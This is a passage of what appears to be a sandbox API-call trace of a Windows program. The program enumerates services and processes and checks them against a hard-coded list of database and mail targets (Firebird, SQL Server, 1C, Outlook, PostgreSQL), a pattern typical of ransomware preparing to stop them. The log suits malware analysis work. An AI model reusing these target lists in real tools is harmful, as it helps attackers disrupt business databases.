8 [0050.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0050.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0050.347] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0050.347] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0050.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0050.347] lstrlenW (lpString="DPS") returned 3 [0050.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0050.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0050.347] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0050.347] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0050.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0050.347] lstrlenW (lpString="eventlog") returned 8 [0050.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0050.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0050.347] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0050.347] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0050.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0050.347] lstrlenW (lpString="EventSystem") returned 11 [0050.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0050.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0050.347] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0050.347] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0050.347] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0050.347] lstrlenW (lpString="FontCache") returned 9 [0050.347] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0050.347] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0050.348] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0050.348] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0050.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0050.348] lstrlenW (lpString="gpsvc") returned 5 [0050.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0050.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0050.348] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0050.348] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0050.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0050.348] lstrlenW (lpString="iphlpsvc") returned 8 [0050.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0050.348] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0050.348] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0050.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0050.348] lstrlenW (lpString="LanmanServer") returned 12 [0050.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0050.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0050.348] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0050.348] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0050.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0050.348] lstrlenW (lpString="LanmanWorkstation") returned 17 [0050.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0050.348] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0050.348] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0050.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0050.348] lstrlenW (lpString="lmhosts") returned 7 [0050.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0050.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0050.348] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0050.348] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0050.348] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0050.348] lstrlenW (lpString="MMCSS") returned 5 [0050.348] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0050.348] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0050.348] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0050.349] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0050.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0050.349] lstrlenW (lpString="MpsSvc") returned 6 [0050.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0050.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0050.349] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0050.349] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0050.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0050.349] lstrlenW (lpString="Netman") returned 6 [0050.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0050.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0050.349] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0050.349] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0050.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0050.349] lstrlenW (lpString="netprofm") returned 8 [0050.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0050.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0050.349] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0050.349] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0050.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0050.349] lstrlenW (lpString="NlaSvc") returned 6 [0050.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0050.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0050.349] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0050.349] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0050.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0050.349] lstrlenW (lpString="nsi") returned 3 [0050.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0050.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0050.349] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0050.349] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0050.349] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0050.349] lstrlenW (lpString="PcaSvc") returned 6 [0050.349] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0050.349] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0050.349] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0050.349] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0050.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0050.350] lstrlenW (lpString="PlugPlay") returned 8 [0050.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0050.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0050.350] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0050.350] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0050.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0050.350] lstrlenW (lpString="Power") returned 5 [0050.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0050.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0050.350] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0050.350] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0050.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0050.350] lstrlenW (lpString="ProfSvc") returned 7 [0050.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0050.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0050.350] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0050.350] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0050.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0050.350] lstrlenW (lpString="RpcEptMapper") returned 12 [0050.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0050.350] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0050.350] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0050.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0050.350] lstrlenW (lpString="RpcSs") returned 5 [0050.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0050.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0050.350] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0050.350] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0050.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0050.350] lstrlenW (lpString="SamSs") returned 5 [0050.350] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0050.350] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0050.350] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0050.350] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0050.350] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0050.351] lstrlenW (lpString="Schedule") returned 8 [0050.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0050.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0050.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0050.351] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0050.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0050.351] lstrlenW (lpString="SENS") returned 4 [0050.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0050.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0050.351] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0050.351] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0050.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0050.351] lstrlenW (lpString="ShellHWDetection") returned 16 [0050.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0050.351] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0050.351] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0050.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0050.351] lstrlenW (lpString="Spooler") returned 7 [0050.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0050.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0050.351] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0050.351] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0050.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0050.351] lstrlenW (lpString="sppsvc") returned 6 [0050.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0050.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0050.351] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0050.351] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0050.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0050.351] lstrlenW (lpString="swprv") returned 5 [0050.351] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0050.351] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0050.351] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0050.351] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0050.351] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0050.351] lstrlenW (lpString="SysMain") returned 7 [0050.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0050.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0050.352] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0050.352] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0050.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0050.352] lstrlenW (lpString="Themes") returned 6 [0050.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0050.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0050.352] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0050.352] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0050.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0050.352] lstrlenW (lpString="TrkWks") returned 6 [0050.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0050.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0050.352] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0050.352] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0050.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0050.352] lstrlenW (lpString="UxSms") returned 5 [0050.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0050.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0050.352] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0050.352] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0050.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0050.352] lstrlenW (lpString="VSS") returned 3 [0050.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0050.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0050.352] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0050.352] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0050.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0050.352] lstrlenW (lpString="WdiServiceHost") returned 14 [0050.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.352] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0050.352] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0050.352] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0050.352] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0050.352] lstrlenW (lpString="WdiSystemHost") returned 13 [0050.352] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0050.353] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0050.353] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0050.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0050.353] lstrlenW (lpString="WinDefend") returned 9 [0050.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0050.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0050.353] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0050.353] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0050.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0050.353] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0050.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0050.353] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0050.353] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0050.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0050.353] lstrlenW (lpString="Winmgmt") returned 7 [0050.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0050.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0050.353] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0050.353] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0050.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0050.353] lstrlenW (lpString="wscsvc") returned 6 [0050.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0050.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0050.353] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0050.353] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0050.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0050.353] lstrlenW (lpString="wuauserv") returned 8 [0050.353] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0050.353] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0050.353] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0050.353] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0050.353] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0050.353] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x37f2700 | out: hHeap=0x520000) returned 1 [0050.353] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x184 [0050.357] Process32FirstW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0050.358] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0050.358] lstrlenW (lpString="System") returned 6 [0050.358] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0050.358] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0050.358] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0050.358] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0050.358] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0050.359] lstrlenW (lpString="smss.exe") returned 8 [0050.359] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.360] lstrlenW (lpString="csrss.exe") returned 9 [0050.360] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0050.360] lstrlenW (lpString="wininit.exe") returned 11 [0050.360] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0050.361] lstrlenW (lpString="csrss.exe") returned 9 [0050.361] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0050.361] lstrlenW (lpString="winlogon.exe") returned 12 [0050.361] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0050.362] lstrlenW (lpString="services.exe") returned 12 [0050.362] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0050.363] lstrlenW (lpString="lsass.exe") returned 9 [0050.363] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0050.363] lstrlenW (lpString="lsm.exe") returned 7 [0050.363] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.364] lstrlenW (lpString="svchost.exe") returned 11 [0050.364] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.364] lstrlenW (lpString="svchost.exe") returned 11 [0050.364] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.365] lstrlenW (lpString="svchost.exe") returned 11 [0050.365] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.365] lstrlenW (lpString="svchost.exe") returned 11 [0050.365] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.366] lstrlenW (lpString="svchost.exe") returned 11 [0050.366] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0050.366] lstrlenW (lpString="audiodg.exe") returned 11 [0050.366] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.367] lstrlenW (lpString="svchost.exe") returned 11 [0050.367] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0050.367] lstrlenW (lpString="svchost.exe") returned 11 [0050.367] Process32NextW (in: hSnapshot=0x184, lppe=0x210fd34 | out: lppe=0x210fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0050.368] lstrlenW (lpString="dwm.exe") returned 7 [0050.368] Process32NextW (in: 